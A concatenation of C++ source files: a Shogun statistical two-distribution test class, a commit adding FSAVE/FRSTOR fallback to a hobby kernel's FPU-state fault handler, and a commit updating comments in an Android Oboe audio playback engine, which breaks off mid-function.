#include <shogun/statistical_testing/internals/TestTypes.h>
using namespace shogun;
using namespace internal;
CTwoDistributionTest::CTwoDistributionTest(index_t num_kernels)
: CHypothesisTest(TwoDistributionTest::num_feats, num_kernels)
{
}
CTwoDistributionTest::~CTwoDistributionTest()
{
}
void CTwoDistributionTest::set_p(CFeatures* samples_from_p)
{
auto& dm=get_data_manager();
dm.samples_at(0)=samples_from_p;
}
CFeatures* CTwoDistributionTest::get_p() const
{
const auto& dm=get_data_manager();
return dm.samples_at(0);
}
void CTwoDistributionTest::set_q(CFeatures* samples_from_q)
{
auto& dm=get_data_manager();
dm.samples_at(1)=samples_from_q;
}
CFeatures* CTwoDistributionTest::get_q() const
{
const auto& dm=get_data_manager();
return dm.samples_at(1);
}
void CTwoDistributionTest::set_num_samples_p(index_t num_samples_from_p)
{
auto& dm=get_data_manager();
dm.num_samples_at(0)=num_samples_from_p;
}
const index_t CTwoDistributionTest::get_num_samples_p() const
{
const auto& dm=get_data_manager();
return dm.num_samples_at(0);
}
void CTwoDistributionTest::set_num_samples_q(index_t num_samples_from_q)
{
auto& dm=get_data_manager();
dm.num_samples_at(1)=num_samples_from_q;
}
const index_t CTwoDistributionTest::get_num_samples_q() const
{
const auto& dm=get_data_manager();
return dm.num_samples_at(1);
}
const char* CTwoDistributionTest::get_name() const
{
return "TwoDistributionTest";
}
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <Log.h>
#include <Debugger.h>
#include <processor/NMFaultHandler.h>
#include <process/Scheduler.h>
#include <processor/PhysicalMemoryManager.h>
NMFaultHandler NMFaultHandler::m_Instance;
#define NM_FAULT_EXCEPTION 0x07
/// \todo Move these to some X86 Processor header
#define CR0_NE (1<<5)
#define CR0_TS (1<<3)
#define CR0_EM (1<<2)
#define CR0_MP (1<<1)
#define CR4_OSFXSR (1 << 9)
#define CR4_OSXMMEXCPT (1 << 10)
#define CPUID_FEAT_EDX_FXSR (1<<24)
#define CPUID_FEAT_EDX_FPU (1<<0)
#define CPUID_FEAT_EDX_SSE (1<<25)
#define MXCSR_PM (1 << 12)
#define MXCSR_UM (1 << 11)
#define MXCSR_OM (1 << 10)
#define MXCSR_ZM (1 << 9)
#define MXCSR_DM (1 << 8)
#define MXCSR_IM (1 << 7)
#define MXCSR_RC 13
#define MXCSR_RC_NEAREST 0
#define MXCSR_RC_DOWN 1
#define MXCSR_RC_UP 2
#define MXCSR_RC_TRUNCATE 3
#define MXCSR_MASK 28
static inline void _SetFPUControlWord(uint16_t cw)
{
// FLDCW = Load FPU Control Word
asm volatile(" fldcw %0; "::"m"(cw));
}
bool NMFaultHandler::initialise()
{
// Check for FPU and XSAVE
uint32_t eax, ebx, ecx, edx, cr0, cr4, mxcsr = 0;
asm volatile ("mov %%cr0, %0" : "=r" (cr0));
asm volatile ("mov %%cr4, %0" : "=r" (cr4));
Processor::cpuid(1, 0, eax, ebx, ecx, edx);
if(edx & CPUID_FEAT_EDX_FPU)
{
cr0 = (cr0 | CR0_NE | CR0_MP) & ~(CR0_EM | CR0_TS);
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
// init the FPU
asm volatile ("finit");
// set the FPU Control Word
_SetFPUControlWord(0x330);
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
}
if(edx & CPUID_FEAT_EDX_FXSR)
{
cr4 |= CR4_OSFXSR; // set the FXSAVE/FXRSTOR support bit
}
if(edx & CPUID_FEAT_EDX_SSE)
{
cr4 |= CR4_OSXMMEXCPT; // set the SIMD floating-point exception handling bit
asm volatile("mov %0, %%cr4;"::"r"(cr4));
// mask all exceptions
mxcsr |= (MXCSR_PM | MXCSR_UM | MXCSR_OM | MXCSR_ZM | MXCSR_DM | MXCSR_IM);
// set the rounding method
mxcsr |= (MXCSR_RC_TRUNCATE << MXCSR_RC);
// write the control word
asm volatile("stmxcsr %0;"::"m"(mxcsr));
}
else
asm volatile("mov %0, %%cr4;"::"r"(cr4));
// Register the handler
InterruptManager::instance().registerInterruptHandler(NM_FAULT_EXCEPTION, this);
// set the bit that causes a DeviceNotAvailable upon SSE, MMX, or FPU instruction execution
cr0 |= CR0_TS;
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
return false;
}
// old/current owner
static X86SchedulerState *x87FPU_MMX_XMM_MXCSR_StateOwner = 0;
static X86SchedulerState x87FPU_MMX_XMM_MXCSR_StateBlank;
void NMFaultHandler::interrupt(size_t interruptNumber, InterruptState &state)
{
// Check the TS bit
uint32_t cr0;
// new owner
Thread *pCurrentThread = Processor::information().getCurrentThread();
X86SchedulerState *pCurrentState = &pCurrentThread->state();
asm volatile ("mov %%cr0, %0" : "=r" (cr0));
if(cr0 & CR0_TS)
{
cr0 &= ~CR0_TS;
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
}
else
{
FATAL_NOLOCK("NM: TS already disabled");
}
// bochs breakpoint
//asm volatile("xchg %bx, %bx;");
// if this task has never used SSE before, we need to init the state space
if(!(pCurrentState->flags & (1 << 1)))
{
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
asm volatile("fxrstor (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fxsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
pCurrentState->flags |= (1 << 1);
}
// we don't need to save/restore if this is true!
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner == (size_t)pCurrentState)
return;
// if this is NULL, then no thread has ever been here before! :)
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
{
// save the old owner's state
asm volatile("fxsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
if((size_t)pCurrentState != 0)
{
// restore the new owner's state
asm volatile("fxrstor (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
}
else
{
// if no owner is defined, skip the restoration process as there's no need
asm volatile("fxsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fxsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
// old/current = new
x87FPU_MMX_XMM_MXCSR_StateOwner = pCurrentState;
}
NMFaultHandler::NMFaultHandler()
{
}
<commit_msg>Added FSAVE/FRSTOR compatibility code in case the CPU doesn't support FXSAVE/FXRSTOR.<commit_after>/*
* Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <Log.h>
#include <Debugger.h>
#include <processor/NMFaultHandler.h>
#include <process/Scheduler.h>
#include <processor/PhysicalMemoryManager.h>
NMFaultHandler NMFaultHandler::m_Instance;
#define NM_FAULT_EXCEPTION 0x07
/// \todo Move these to some X86 Processor header
#define CR0_NE (1<<5)
#define CR0_TS (1<<3)
#define CR0_EM (1<<2)
#define CR0_MP (1<<1)
#define CR4_OSFXSR (1 << 9)
#define CR4_OSXMMEXCPT (1 << 10)
#define CPUID_FEAT_EDX_FXSR (1<<24)
#define CPUID_FEAT_EDX_FPU (1<<0)
#define CPUID_FEAT_EDX_SSE (1<<25)
#define MXCSR_PM (1 << 12)
#define MXCSR_UM (1 << 11)
#define MXCSR_OM (1 << 10)
#define MXCSR_ZM (1 << 9)
#define MXCSR_DM (1 << 8)
#define MXCSR_IM (1 << 7)
#define MXCSR_RC 13
#define MXCSR_RC_NEAREST 0
#define MXCSR_RC_DOWN 1
#define MXCSR_RC_UP 2
#define MXCSR_RC_TRUNCATE 3
#define MXCSR_MASK 28
static bool FXSR_Support, FPU_Support;
static inline void _SetFPUControlWord(uint16_t cw)
{
// FLDCW = Load FPU Control Word
asm volatile(" fldcw %0; "::"m"(cw));
}
bool NMFaultHandler::initialise()
{
// Check for FPU and XSAVE
uint32_t eax, ebx, ecx, edx, cr0, cr4, mxcsr = 0;
asm volatile ("mov %%cr0, %0" : "=r" (cr0));
asm volatile ("mov %%cr4, %0" : "=r" (cr4));
Processor::cpuid(1, 0, eax, ebx, ecx, edx);
if(edx & CPUID_FEAT_EDX_FPU)
{
FPU_Support = true;
cr0 = (cr0 | CR0_NE | CR0_MP) & ~(CR0_EM | CR0_TS);
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
// init the FPU
asm volatile ("finit");
// set the FPU Control Word
_SetFPUControlWord(0x330);
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
}
else
FPU_Support = false;
if(edx & CPUID_FEAT_EDX_FXSR)
{
FXSR_Support = true;
cr4 |= CR4_OSFXSR; // set the FXSAVE/FXRSTOR support bit
}
else
FXSR_Support = false;
if(edx & CPUID_FEAT_EDX_SSE)
{
cr4 |= CR4_OSXMMEXCPT; // set the SIMD floating-point exception handling bit
asm volatile("mov %0, %%cr4;"::"r"(cr4));
// mask all exceptions
mxcsr |= (MXCSR_PM | MXCSR_UM | MXCSR_OM | MXCSR_ZM | MXCSR_DM | MXCSR_IM);
// set the rounding method
mxcsr |= (MXCSR_RC_TRUNCATE << MXCSR_RC);
// write the control word
asm volatile("stmxcsr %0;"::"m"(mxcsr));
}
else
asm volatile("mov %0, %%cr4;"::"r"(cr4));
// Register the handler
InterruptManager::instance().registerInterruptHandler(NM_FAULT_EXCEPTION, this);
// set the bit that causes a DeviceNotAvailable upon SSE, MMX, or FPU instruction execution
cr0 |= CR0_TS;
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
return false;
}
// old/current owner
static X86SchedulerState *x87FPU_MMX_XMM_MXCSR_StateOwner = 0;
static X86SchedulerState x87FPU_MMX_XMM_MXCSR_StateBlank;
void NMFaultHandler::interrupt(size_t interruptNumber, InterruptState &state)
{
// Check the TS bit
uint32_t cr0;
// new owner
Thread *pCurrentThread = Processor::information().getCurrentThread();
X86SchedulerState *pCurrentState = &pCurrentThread->state();
asm volatile ("mov %%cr0, %0" : "=r" (cr0));
if(cr0 & CR0_TS)
{
cr0 &= ~CR0_TS;
asm volatile ("mov %0, %%cr0" :: "r" (cr0));
}
else
{
FATAL_NOLOCK("NM: TS already disabled");
}
// bochs breakpoint
//asm volatile("xchg %bx, %bx;");
// if this task has never used SSE before, we need to init the state space
if(FXSR_Support)
{
if(!(pCurrentState->flags & (1 << 1)))
{
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
asm volatile("fxrstor (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fxsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
pCurrentState->flags |= (1 << 1);
}
// we don't need to save/restore if this is true!
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner == (size_t)pCurrentState)
return;
// if this is NULL, then no thread has ever been here before! :)
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
{
// save the old owner's state
asm volatile("fxsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
if((size_t)pCurrentState != 0)
{
// restore the new owner's state
asm volatile("fxrstor (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
}
else
{
// if no owner is defined, skip the restoration process as there's no need
asm volatile("fxsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fxsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
}
else if(FPU_Support)
{
if(!(pCurrentState->flags & (1 << 1)))
{
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
asm volatile("frstor (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
pCurrentState->flags |= (1 << 1);
}
// we don't need to save/restore if this is true!
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner == (size_t)pCurrentState)
return;
// if this is NULL, then no thread has ever been here before! :)
if((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner != 0)
{
// save the old owner's state
asm volatile("fsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateOwner->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
if((size_t)pCurrentState != 0)
{
// restore the new owner's state
asm volatile("frstor (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
}
else
{
// if no owner is defined, skip the restoration process as there's no need
asm volatile("fsave (%0);"::"r"(((((size_t)pCurrentState->x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
asm volatile("fsave (%0);"::"r"(((((size_t)x87FPU_MMX_XMM_MXCSR_StateBlank.x87FPU_MMX_XMM_MXCSR_State + 32) & ~15) + 16)));
}
}
else
{
ERROR("FXSAVE and FSAVE are not supported");
}
// old/current = new
x87FPU_MMX_XMM_MXCSR_StateOwner = pCurrentState;
}
NMFaultHandler::NMFaultHandler()
{
}
<|endoftext|>
|
<commit_before>/**
* Copyright 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <trace.h>
#include <inttypes.h>
#include <common/AudioClock.h>
#include "PlayAudioEngine.h"
#include "logging_macros.h"
constexpr int32_t kAudioSampleChannels = 2; // Stereo
constexpr int64_t kNanosPerMillisecond = 1000000; // Use int64_t to avoid overflows in calculations
PlayAudioEngine::PlayAudioEngine() {
// Initialize the trace functions, this enables you to output trace statements without
// blocking. See https://developer.android.com/studio/profile/systrace-commandline.html
Trace::initialize();
mSampleChannels = kAudioSampleChannels;
createPlaybackStream();
}
PlayAudioEngine::~PlayAudioEngine() {
closeOutputStream();
}
/**
* Set the audio device which should be used for playback. Can be set to OBOE_UNSPECIFIED if
* you want to use the default playback device (which is usually the built-in speaker if
* no other audio devices, such as headphones, are attached).
*
* @param deviceId the audio device id, can be obtained through an {@link AudioDeviceInfo} object
* using Java/JNI.
*/
void PlayAudioEngine::setDeviceId(int32_t deviceId) {
mPlaybackDeviceId = deviceId;
// If this is a different device from the one currently in use then restart the stream
int32_t currentDeviceId = mPlayStream->getDeviceId();
if (deviceId != currentDeviceId) restartStream();
}
/**
* Creates an audio stream for playback. The audio device used will depend on mPlaybackDeviceId.
*/
void PlayAudioEngine::createPlaybackStream() {
oboe::AudioStreamBuilder builder;
setupPlaybackStreamParameters(&builder);
oboe::Result result = builder.openStream(&mPlayStream);
if (result == oboe::Result::OK && mPlayStream != nullptr) {
mSampleRate = mPlayStream->getSampleRate();
mFramesPerBurst = mPlayStream->getFramesPerBurst();
// Set the buffer size to the burst size - this will give us the minimum possible latency
mPlayStream->setBufferSizeInFrames(mFramesPerBurst);
// TODO: Implement Oboe_convertStreamToText
// PrintAudioStreamInfo(mPlayStream);
prepareOscillators();
// Create a latency tuner which will automatically tune our buffer size.
mLatencyTuner = std::make_unique<oboe::LatencyTuner>(*mPlayStream);
// Start the stream - the dataCallback function will start being called
result = mPlayStream->requestStart();
if (result != oboe::Result::OK) {
LOGE("Error starting stream. %s", oboe::convertToText(result));
}
mIsLatencyDetectionSupported = (mPlayStream->getTimestamp(CLOCK_MONOTONIC, 0, 0) !=
oboe::Result::ErrorUnimplemented);
} else {
LOGE("Failed to create stream. Error: %s", oboe::convertToText(result));
}
}
void PlayAudioEngine::prepareOscillators() {
mSineOscLeft.setup(440.0, mSampleRate, 0.25);
mSineOscRight.setup(660.0, mSampleRate, 0.25);
}
/**
* Sets the stream parameters which are specific to playback, including device id and the
* callback class, which must be set for low latency playback.
* @param builder The playback stream builder
*/
void PlayAudioEngine::setupPlaybackStreamParameters(oboe::AudioStreamBuilder *builder) {
builder->setDeviceId(mPlaybackDeviceId);
builder->setChannelCount(mSampleChannels);
// We request EXCLUSIVE mode since this will give us the lowest possible latency.
// If EXCLUSIVE mode isn't available the builder will fall back to SHARED mode.
builder->setSharingMode(oboe::SharingMode::Exclusive);
builder->setPerformanceMode(oboe::PerformanceMode::LowLatency);
builder->setCallback(this);
}
void PlayAudioEngine::closeOutputStream() {
if (mPlayStream != nullptr) {
oboe::Result result = mPlayStream->requestStop();
if (result != oboe::Result::OK) {
LOGE("Error stopping output stream. %s", oboe::convertToText(result));
}
result = mPlayStream->close();
if (result != oboe::Result::OK) {
LOGE("Error closing output stream. %s", oboe::convertToText(result));
}
}
}
void PlayAudioEngine::setToneOn(bool isToneOn) {
mIsToneOn = isToneOn;
}
/**
* Every time the playback stream requires data this method will be called.
*
* @param audioStream the audio stream which is requesting data, this is the mPlayStream object
* @param audioData an empty buffer into which we can write our audio data
* @param numFrames the number of audio frames which are required
* @return Either OBOE_CALLBACK_RESULT_CONTINUE if the stream should continue requesting data
* or OBOE_CALLBACK_RESULT_STOP if the stream should stop.
*/
oboe::DataCallbackResult
PlayAudioEngine::onAudioReady(oboe::AudioStream *audioStream, void *audioData, int32_t numFrames) {
int32_t bufferSize = audioStream->getBufferSizeInFrames();
if (mBufferSizeSelection == kBufferSizeAutomatic){
mLatencyTuner->tune();
} else if (bufferSize != (mBufferSizeSelection * mFramesPerBurst)) {
audioStream->setBufferSizeInFrames(mBufferSizeSelection * mFramesPerBurst);
bufferSize = audioStream->getBufferSizeInFrames();
}
/**
* The following output can be seen by running a systrace. Tracing is preferable to logging
* inside the callback since tracing does not block.
*
* See https://developer.android.com/studio/profile/systrace-commandline.html
*/
int32_t underrunCount = audioStream->getXRunCount();
Trace::beginSection("numFrames %d, Underruns %d, buffer size %d",
numFrames, underrunCount, bufferSize);
int32_t samplesPerFrame = mSampleChannels;
// If the tone is on we need to use our synthesizer to render the audio data for the sine waves
if (audioStream->getFormat() == oboe::AudioFormat::Float){
if (mIsToneOn) {
mSineOscRight.render(static_cast<float *>(audioData),
samplesPerFrame, numFrames);
if (mSampleChannels == 2) {
mSineOscLeft.render(static_cast<float *>(audioData) + 1,
samplesPerFrame, numFrames);
}
} else {
memset(static_cast<uint8_t *>(audioData), 0,
sizeof(float) * samplesPerFrame * numFrames);
}
} else {
if (mIsToneOn) {
mSineOscRight.render(static_cast<int16_t *>(audioData),
samplesPerFrame, numFrames);
if (mSampleChannels == 2) {
mSineOscLeft.render(static_cast<int16_t *>(audioData) + 1,
samplesPerFrame, numFrames);
}
} else {
memset(static_cast<uint8_t *>(audioData), 0,
sizeof(int16_t) * samplesPerFrame * numFrames);
}
}
if (mIsLatencyDetectionSupported) {
calculateCurrentOutputLatencyMillis(audioStream, &mCurrentOutputLatencyMillis);
}
Trace::endSection();
return oboe::DataCallbackResult::Continue;
}
/**
* Calculate the current latency between writing a frame to the output stream and
* the same frame being presented to the audio hardware.
*
* Here's how the calculation works:
*
* 1) Get the time a particular frame was presented to the audio hardware
* @see OboeStream::getTimestamp
* 2) From this extrapolate the time which the *next* audio frame written to the stream
* will be presented
* 3) Assume that the next audio frame is written at the current time
* 4) currentLatency = nextFramePresentationTime - nextFrameWriteTime
*
* @param stream The stream being written to
* @param latencyMillis pointer to a variable to receive the latency in milliseconds between
* writing a frame to the stream and that frame being presented to the audio hardware.
* @return OBOE_OK or a negative error. It is normal to receive an error soon after a stream
* has started because the timestamps are not yet available.
*/
oboe::Result
PlayAudioEngine::calculateCurrentOutputLatencyMillis(oboe::AudioStream *stream, double *latencyMillis) {
// Get the time that a known audio frame was presented for playing
int64_t existingFrameIndex;
int64_t existingFramePresentationTime;
oboe::Result result = stream->getTimestamp(CLOCK_MONOTONIC,
&existingFrameIndex,
&existingFramePresentationTime);
if (result == oboe::Result::OK) {
// Get the write index for the next audio frame
int64_t writeIndex = stream->getFramesWritten();
// Calculate the number of frames between our known frame and the write index
int64_t frameIndexDelta = writeIndex - existingFrameIndex;
// Calculate the time which the next frame will be presented
int64_t frameTimeDelta = (frameIndexDelta * oboe::kNanosPerSecond) / mSampleRate;
int64_t nextFramePresentationTime = existingFramePresentationTime + frameTimeDelta;
// Assume that the next frame will be written at the current time
int64_t nextFrameWriteTime = oboe::AudioClock::getNanoseconds(CLOCK_MONOTONIC);
// Calculate the latency
*latencyMillis = (double) (nextFramePresentationTime - nextFrameWriteTime)
/ kNanosPerMillisecond;
} else {
LOGE("Error calculating latency: %s", oboe::convertToText(result));
}
return result;
}
/**
* If there is an error with a stream this function will be called. A common example of an error
* is when an audio device (such as headphones) is disconnected. It is safe to restart the stream
* in this method. There is no need to create a new thread.
*
* @param audioStream the stream with the error
* @param error the error which occured, a human readable string can be obtained using
* Oboe_convertResultToText(error);
*
* @see oboe::StreamCallback
*/
void PlayAudioEngine::onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) {
if (error == oboe::Result::ErrorDisconnected) restartStream();
}
void PlayAudioEngine::restartStream() {
LOGI("Restarting stream");
if (mRestartingLock.try_lock()) {
closeOutputStream();
createPlaybackStream();
mRestartingLock.unlock();
} else {
LOGW("Restart stream operation already in progress - ignoring this request");
// We were unable to obtain the restarting lock which means the restart operation is currently
// active. This is probably because we received successive "stream disconnected" events.
// Internal issue b/63087953
}
}
double PlayAudioEngine::getCurrentOutputLatencyMillis() {
return mCurrentOutputLatencyMillis;
}
void PlayAudioEngine::setBufferSizeInBursts(int32_t numBursts) {
mBufferSizeSelection = numBursts;
}
bool PlayAudioEngine::isLatencyDetectionSupported() {
return mIsLatencyDetectionSupported;
}
<commit_msg>Update method comments<commit_after>/**
* Copyright 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <trace.h>
#include <inttypes.h>
#include <common/AudioClock.h>
#include "PlayAudioEngine.h"
#include "logging_macros.h"
constexpr int32_t kAudioSampleChannels = 2; // Stereo
constexpr int64_t kNanosPerMillisecond = 1000000; // Use int64_t to avoid overflows in calculations
PlayAudioEngine::PlayAudioEngine() {
// Initialize the trace functions, this enables you to output trace statements without
// blocking. See https://developer.android.com/studio/profile/systrace-commandline.html
Trace::initialize();
mSampleChannels = kAudioSampleChannels;
createPlaybackStream();
}
PlayAudioEngine::~PlayAudioEngine() {
closeOutputStream();
}
/**
* Set the audio device which should be used for playback. Can be set to oboe::kUnspecified if
* you want to use the default playback device (which is usually the built-in speaker if
* no other audio devices, such as headphones, are attached).
*
* @param deviceId the audio device id, can be obtained through an {@link AudioDeviceInfo} object
* using Java/JNI.
*/
void PlayAudioEngine::setDeviceId(int32_t deviceId) {
mPlaybackDeviceId = deviceId;
// If this is a different device from the one currently in use then restart the stream
int32_t currentDeviceId = mPlayStream->getDeviceId();
if (deviceId != currentDeviceId) restartStream();
}
/**
* Creates an audio stream for playback. The audio device used will depend on mPlaybackDeviceId.
*/
void PlayAudioEngine::createPlaybackStream() {
oboe::AudioStreamBuilder builder;
setupPlaybackStreamParameters(&builder);
oboe::Result result = builder.openStream(&mPlayStream);
if (result == oboe::Result::OK && mPlayStream != nullptr) {
mSampleRate = mPlayStream->getSampleRate();
mFramesPerBurst = mPlayStream->getFramesPerBurst();
// Set the buffer size to the burst size - this will give us the minimum possible latency
mPlayStream->setBufferSizeInFrames(mFramesPerBurst);
// TODO: Implement Oboe_convertStreamToText
// PrintAudioStreamInfo(mPlayStream);
prepareOscillators();
// Create a latency tuner which will automatically tune our buffer size.
mLatencyTuner = std::make_unique<oboe::LatencyTuner>(*mPlayStream);
// Start the stream - the dataCallback function will start being called
result = mPlayStream->requestStart();
if (result != oboe::Result::OK) {
LOGE("Error starting stream. %s", oboe::convertToText(result));
}
mIsLatencyDetectionSupported = (mPlayStream->getTimestamp(CLOCK_MONOTONIC, 0, 0) !=
oboe::Result::ErrorUnimplemented);
} else {
LOGE("Failed to create stream. Error: %s", oboe::convertToText(result));
}
}
void PlayAudioEngine::prepareOscillators() {
mSineOscLeft.setup(440.0, mSampleRate, 0.25);
mSineOscRight.setup(660.0, mSampleRate, 0.25);
}
/**
* Sets the stream parameters which are specific to playback, including device id and the
* callback class, which must be set for low latency playback.
* @param builder The playback stream builder
*/
void PlayAudioEngine::setupPlaybackStreamParameters(oboe::AudioStreamBuilder *builder) {
builder->setDeviceId(mPlaybackDeviceId);
builder->setChannelCount(mSampleChannels);
// We request EXCLUSIVE mode since this will give us the lowest possible latency.
// If EXCLUSIVE mode isn't available the builder will fall back to SHARED mode.
builder->setSharingMode(oboe::SharingMode::Exclusive);
builder->setPerformanceMode(oboe::PerformanceMode::LowLatency);
builder->setCallback(this);
}
void PlayAudioEngine::closeOutputStream() {
if (mPlayStream != nullptr) {
oboe::Result result = mPlayStream->requestStop();
if (result != oboe::Result::OK) {
LOGE("Error stopping output stream. %s", oboe::convertToText(result));
}
result = mPlayStream->close();
if (result != oboe::Result::OK) {
LOGE("Error closing output stream. %s", oboe::convertToText(result));
}
}
}
void PlayAudioEngine::setToneOn(bool isToneOn) {
mIsToneOn = isToneOn;
}
/**
* Every time the playback stream requires data this method will be called.
*
* @param audioStream the audio stream which is requesting data, this is the mPlayStream object
* @param audioData an empty buffer into which we can write our audio data
* @param numFrames the number of audio frames which are required
* @return Either oboe::DataCallbackResult::Continue if the stream should continue requesting data
* or oboe::DataCallbackResult::Stop if the stream should stop.
*/
oboe::DataCallbackResult
PlayAudioEngine::onAudioReady(oboe::AudioStream *audioStream, void *audioData, int32_t numFrames) {
int32_t bufferSize = audioStream->getBufferSizeInFrames();
if (mBufferSizeSelection == kBufferSizeAutomatic){
mLatencyTuner->tune();
} else if (bufferSize != (mBufferSizeSelection * mFramesPerBurst)) {
audioStream->setBufferSizeInFrames(mBufferSizeSelection * mFramesPerBurst);
bufferSize = audioStream->getBufferSizeInFrames();
}
/**
* The following output can be seen by running a systrace. Tracing is preferable to logging
* inside the callback since tracing does not block.
*
* See https://developer.android.com/studio/profile/systrace-commandline.html
*/
int32_t underrunCount = audioStream->getXRunCount();
Trace::beginSection("numFrames %d, Underruns %d, buffer size %d",
numFrames, underrunCount, bufferSize);
int32_t samplesPerFrame = mSampleChannels;
// If the tone is on we need to use our synthesizer to render the audio data for the sine waves
if (audioStream->getFormat() == oboe::AudioFormat::Float){
if (mIsToneOn) {
mSineOscRight.render(static_cast<float *>(audioData),
samplesPerFrame, numFrames);
if (mSampleChannels == 2) {
mSineOscLeft.render(static_cast<float *>(audioData) + 1,
samplesPerFrame, numFrames);
}
} else {
memset(static_cast<uint8_t *>(audioData), 0,
sizeof(float) * samplesPerFrame * numFrames);
}
} else {
if (mIsToneOn) {
mSineOscRight.render(static_cast<int16_t *>(audioData),
samplesPerFrame, numFrames);
if (mSampleChannels == 2) {
mSineOscLeft.render(static_cast<int16_t *>(audioData) + 1,
samplesPerFrame, numFrames);
}
} else {
memset(static_cast<uint8_t *>(audioData), 0,
sizeof(int16_t) * samplesPerFrame * numFrames);
}
}
if (mIsLatencyDetectionSupported) {
calculateCurrentOutputLatencyMillis(audioStream, &mCurrentOutputLatencyMillis);
}
